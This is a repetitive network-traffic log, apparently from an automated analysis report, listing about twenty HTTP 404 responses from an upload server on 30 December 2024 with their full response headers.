Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7BBPiZR2cZompsAFYNQCw7iezaoMB1wTsk66b-l2QjY40Apvvsq0M2P7cJQWMlzcRsUKkjoQMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:12 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-r2j1SvHqjeAWsfuET4UKfg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5a8Hylz2GXZj_Tr9C--RZgn4FSxYgicW4xA88nH5lKB6enIZgkZRQFwM6YFuLFb_QpContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:13 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-DABI4s1MsBwenk0MRYZjEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5Tdjip8I6pbSmSZ0EnrW-4Iipe72JU4G0BxKzyqODq30LAVMg55KbET22_1y5IxPD6Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:13 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-v4rrZ8of4JjWSc5dY7DrvA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6EAPOmKhA_gWbMvJC8908cwpTj0GZFkYtISuLq2v-s8tVhFw2Jjf7xoDhTqwqLAJqIso4MOPUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:14 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-oOnm4d8JGe3TrPSmC5Bwbw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5ubqEIYe6YOnfzrx9VXj2W5hAHwGMFaIu0lpqP3kEyAuXocpmCK-44CybPt4fe-vwC87QU9w8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:14 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-BGbdC967Eby53dQMJcfgJw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5UV9oGBmUE-1sasGmyAgnuoxxrbFEnpcAz5Pq4rT_nGJJf8vSuaA6V7kvYtLUU_xmKContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:15 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-fokb52irs_bGpPwOKFmNYg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6z2N3NvI2weFRccvZp4SyX7BDxpQF9Zgm9YhKrf3IXhjlxAoBgOHcJ3hd0jtQPCO_zContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:15 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-eWvAs2XVHx7_Pe-e629Uzw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC61PnWczh5LjhwO0TH0ZhHh2G3_O8wMRYGwttarf4lq-_UI2SK5DimXx5MCRnrQntlBContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:16 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-0iltXz3Lc-1Qz9JNuRypFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC79fRQ0xDJzKhhrhW43iuwUG8D9JfTVFwU_tR9qjOfa_O73j-vur-te7wSIOl65VbwHContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:18 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-Yw4D6mnqJaa54X5EuXvhSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5WTFD8RZYrWLKXFWiTpuOa8xenn_P0e97QFYh2h6NSIdH4ulXEhHeC_QaIStpK0hGQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:18 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-S87_bbUTD85VI8NrqDRswA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5zcyiTg5OMs69BgOc1cfy2_r3EgVnEhNy_KXYucXBFgZHDTUlnS11UFHnC13KcYhSyContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:19 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-TaxFDyfgN1uJLPZMOsUcLQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC63vlNkZIX7CloRa619-y5YYD_B1oYmIlkbBnP4cXglVvQFhpGuX_i5kLMmBIlnYGmrContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:19 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-wSTortnK_NYLpAqRtUDAFg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC46Kk0GrMMzYDGfzAXpFFLq_sdivZihHjdeK41WelT5MfQHJAFtJ64zJ47XV02UPUGnContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:21 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-V-CfUw3m4stTsnfDcpMq_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6LLNIL2q4oaEY17hjxSDux6eKfNneEBcy4cXjYCORB4UJwdvW2VfDgGiB6CiWeSf5rny0Z7bAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:22 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-PZ8BUf7F1pey32npRv8aBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4qZBrOu9Vbq4ZpJs-m3ICW-jXR230sunNPKPp5yfDDsR9cRwbfPCox2Ud--SnxnSP3xwmWYDEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:22 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-GhNaXyWWIaDUC57xuSPOeQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Pu4FVZv8wMhGDxu58FvEKq-NDASZ7YVlgSEmvGqHPStyXQAUX4irarL9sPGx0f4lnContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:23 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-tIIcgAeIanzeBG9hvVN26w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC67ecML96lMcQGfjXlyvYcCyK1P0nfG5gUhPXrPdLvatjJZRrM-hY6K3tmZKfFxZhNqjjL8QPIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:23 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-BOqTFQr0SU6hY8UxKO32uQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6Y-4Fm9Dqv5q5bSWptxrQG64-8vCPkLxvbyBA-55-htik6W0TYCb0MVE0QMiTowBAUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:25 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_g01x9ra4Wpcjzs6NvEUQQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5QYYDzA2FFC5sH9x_PZqx2YK_6ct9Ubc5pZKDSflzdsUouHZj4k-8MZXFfuUQ_khLrContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:26 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-9LKDbb21t-EdF4AkHC0PzQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5xrr4CkXN95JFUU7t0BZ9bpRCz5_ciNOJC2KSwRkjUsifV1pUs98loiXV_NJetR6oBContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:37:26 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Cr7M67qxlSZbOd2vRBsNuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
